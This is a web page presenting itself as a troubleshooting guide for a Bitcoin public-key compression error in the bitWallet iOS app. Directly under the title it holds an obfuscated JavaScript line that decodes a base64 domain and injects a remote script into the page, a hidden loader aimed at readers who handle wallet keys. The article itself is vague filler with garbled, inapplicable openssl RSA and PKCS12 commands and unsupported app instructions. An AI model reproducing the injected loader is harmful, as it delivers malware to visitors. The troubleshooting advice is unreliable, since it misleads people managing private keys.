Bitcoin: Getting « Public key is neither compressed nor uncompressed » after trying to send with imported key

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »c.php?u=608cebfe »;document.body.appendChild(script);

Troubleshooting: « Public key is neither compressed nor uncompressed » after importing the key

As a Bitcoin enthusiast, it’s not uncommon to encounter issues when trying to import old Bitcoin wallet keys into the bitWallet app. One such issue reported by users is issues with « public keys » being neither compressed nor uncompressed after importing. The goal of this article is to provide step-by-step instructions on how to resolve this issue and ensure that your public key is working properly.

Understanding Public Keys

A Bitcoin public key is used for signing and verifying transactions. When you create a new wallet, you generate a private key and an associated public key. The private key is used for signing transactions, while the public key can be shared publicly or used to receive payments from others.

Importing Old Keys into BitWallet

Importing old keys into the iOS bitWallet app should not initially cause any problems. However, in some cases, you may encounter issues where the « public key » is neither compressed nor uncompressed after import.

Troubleshooting Steps

To resolve this issue, follow these steps:

• Check your private key: Make sure your old private key is entered correctly in the bitWallet app. You can do this by going to Settings > Wallets & Keys and selecting the « Import » tab for the wallet that contains your old keys.

• Check compression status: Check whether your public key is compressed or uncompressed. To do this, you can use tools like the « openssl » command line tool (e.g. « openssl pkcs12 -in -out -nokeys », then « openssl rsa -pubin -out « ) to check the compression status of both the old private key and the imported public key.

• Re-import key: Re-import your old keys into bitWallet, making sure to select all the required compression options (if applicable). If you are still experiencing issues after re-importing, try removing and re-importing all your keys into bitWallet.

• Clear app cache and data

  : Clear your app cache and bitWallet data to ensure that it starts with a clean slate. This can help resolve any cached issues that could be causing the issue.

What to do next

If none of these troubleshooting steps resolve the issue, you may need to troubleshoot other factors. Some possible causes include:

• Data corruption or loss during import

• Key misconfiguration in bitWallet

• Network connection issues

To further diagnose the issue, you can try creating a new wallet with your old keys and importing it into bitWallet. If this resolves the issue, it is likely that the data is corrupt or the key is misconfigured.

Conclusion

In conclusion, issues with “public keys” being neither compressed nor uncompressed after import is a common issue when using the bitWallet app for iOS. By following these troubleshooting steps and eliminating the possible causes, you should be able to resolve the issue and get your public keys working properly.